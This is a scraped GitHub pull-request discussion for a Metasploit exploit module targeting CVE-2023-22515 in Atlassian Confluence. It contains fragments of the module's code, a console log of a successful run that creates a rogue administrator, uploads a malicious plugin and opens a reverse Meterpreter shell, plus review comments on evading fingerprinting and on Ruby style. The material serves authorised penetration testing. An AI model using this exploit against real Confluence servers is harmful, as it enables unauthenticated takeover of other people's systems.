-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
CVE-2023-22515 - Atlassian Confluence unauthenticated RCE exploit module #18461
Conversation
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
There was already a pull-request for this exploit: #18447 :/
modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
Outdated
Show resolved
Hide resolved
# Confluence may have a non default base path, allow user to configure that here. | ||
OptString.new('TARGETURI', [true, 'Base path for Confluence', '/']), | ||
# The endpoint we target to trigger the vulnerability. | ||
OptString.new('CONFLUENCE_TARGET_ENDPOINT', [true, 'The endpoint used to trigger the vulnerability.', 'server-info.action']), |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Are there other possible endpoints?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yes, due to the nature of the vuln there are likely numerous endpoints that can be targeted, for example:
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > set CONFLUENCE_TARGET_ENDPOINT /ajax/spaceavailable.action
CONFLUENCE_TARGET_ENDPOINT => /ajax/spaceavailable.action
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) > exploit
[*] Started reverse TCP handler on 192.168.86.42:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated.
[*] Setting the application configuration's setupComplete to false via endpoint: /ajax/spaceavailable.action
[*] Creating a new administrator user account...
[*] Created fuhghwol:I2WHP3At
[*] Adding a malicious plugin...
[*] Waiting for plugin to be installed...
[*] Triggering payload...
[*] Deleting plugin...
[*] Sending stage (57692 bytes) to 192.168.86.50
[*] Meterpreter session 4 opened (192.168.86.42:4444 -> 192.168.86.50:62207) at 2023-10-17 09:12:53 +0100
meterpreter > getuid
Server username: WIN-V28QNSO2H05$
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.86.50 - Meterpreter session 4 closed. Reason: User exit
msf6 exploit(multi/http/atlassian_confluence_rce_cve_2023_22515) >
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It might be nice/interesting to provide a small list of possible ones I think, to make fingerprinting harder.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I added some extra documentation via c63aaba which mentions the other endpoint showed above.
modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
Outdated
Show resolved
Hide resolved
# 4. Upload a new Confluence Servlet plugin, by first requesting a UPM token. | ||
res = send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') << '/', |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') << '/', | |
'uri' => normalize_uri(target_uri.path, 'rest', 'plugins', '1.0') + '/', |
+
: Returns the concatenation of self and a given other string.<<
: <<: Returns self concatenated with a given string or integer.
so I guess it's a matter of taste, but I think™ that people are more used to +
for string concatenation than <<
, especially given that the later is usually used to append a single element to an array.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
My understanding is that in Ruby the <<
operator is faster, and so is the generally the preferred operator to concat two strings. Happy to change this if using +
is the best practice.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
<<
is faster, but also the source of multiple bugs in framework 😄
It also stops us from enabling frozen strings globally, which could help reduce object allocations https://www.mikeperham.com/2018/02/28/ruby-optimization-with-one-magic-comment/
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks Alan, sounds like +
should be the preferred operator so, I have done this via 34107e4
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This comes up every few years, under various guises; and while i'm all for reducing allocations... +
actually creates them (or did, anyway - a bit behind on my RubyVM-fu). Using <<
appends the contents of the right buffer to that on the left (eventually meaning "scatter-gather addition of existing SG buffer" under Linux anyway) whereas +
creates a new buffer copying both sides into it and then hopefully deallocating the sources. Up here in Msf
it might not be as noticeable, but down in Rex
it can get pretty bad if you have a lot of IO and under memory pressure against various forms of GC. Back in the RBX days when VM instrumentation was "cool," we actually saw this effect pretty clearly during my machinations with rex-guts-n-stuff
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it be worth adding a rubocop/msftidy rule to catch this?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it be worth adding a rubocop/msftidy rule to catch this?
Sounds like a great idea to me
modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
Outdated
Show resolved
Hide resolved
# 9. Delete the plugin we uploaded as we no longer need it. We cannot delete the admin user we created as | ||
# Confluence doesnt allow a user to delete themself. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it be possible for the plugin to delete the admin?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I haven't looked into this option too much, but it looks like there is no command line to interact with Confluence directly. The only way would be to delete the user directly from the database and there is high probability this would result in a corrupted database and break everything.
Hi @jvoisin , #18447 is for an axillary module (not an exploit) to create a new admin account, whilst this pull request is for an exploit module to run a payload; both leverage the same vuln for different purposes. I don't see a problem having different module types covering the same CVE. Another example of this in the framework is the Adobe ColdFusion vuln CVE-2023-26360, whereby we have an auxiliary module and an exploit module for the same CVE. |
…ot use return for this)
@sfewer-r7 - thanks. Must feel good to finally give some pain back to that accursed thing 😉 Far as the aux and exploit module... this is why we have application and protocol specific mixins IMO. When two modules start doing similar things, that's usually when its time to review their commonalities and extract them to a mixin which also formalizes the datastore options for that context (see AWS module mess for why thats good). |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @sfewer-r7 for this great module and the related research! I just left a few suggestions, but otherwise, it looks good to me. I tested against version 8.5.1 installed on Windows 11 and it works great.
modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/atlassian_confluence_rce_cve_2023_22515.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/multi/http/atlassian_confluence_rce_cve_2023_22515.md
Show resolved
Hide resolved
…tect if the JSON data doesnt have the expected value and fail_with() if needed
… done to be set to true
Thanks @sfewer-r7 ! Everything looks good to me now. I tested against version 8.5.1 installed on Windows 11 and verified I got a session. I'll go ahead and land it.
|
Thank you @cdelafuente-r7 and @jvoisin for the review, and thanks @adfoster-r7 and @sempervictus for the insights into string concatenation :) |
Release NotesThis adds an exploit module that leverages an improper input validation issue in Atlassian Confluence versions between 8.0.0 through to 8.3.2, 8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1. This vulnerability is identified as CVE-2023-22515 and allows unauthenticated remote code execution. The module first creates a new administrator by abusing the embedded XWorks2 middleware and uploading a malicious plugin to get code execution. Note that the module is currently not able to delete the new administrator account it created. This would require a manual clean up. |
|
||
# If we have a Confluence server within the given version ranges, it appears vulnerable. | ||
ranges.each do |min, max| | ||
if version.between?(Rex::Version.new(min), Rex::Version.new(max)) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@stephenfewer Won't this specifically exclude the edge cases such as 8.0.0 and 8.3.2 which are also technically vulnerable? Same for 8.4.0 and 8.4.2, and 8.5.0 and 8.5.1.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hi @grantwillcoxh3ai, in my testing between?
will include the min and max version as part of the range check, so the check routine should work as expected. I was testing against 8.5.1 (one of the edge cases you mention) and the check was successful.
This module exploits an improper input validation issue in Atlassian Confluence, allowing arbitrary HTTP
parameters to be translated into getter/setter sequences via the XWorks2 middleware and in turn allows for
Java objects to be modified at run time. The exploit will create a new administrator user and upload a
malicious plugins to get arbitrary code execution. All versions of Confluence between 8.0.0 through to 8.3.2,
8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.
For a full technical analysis of the vulnerability read the Rapid7 AttackerKB Analysis.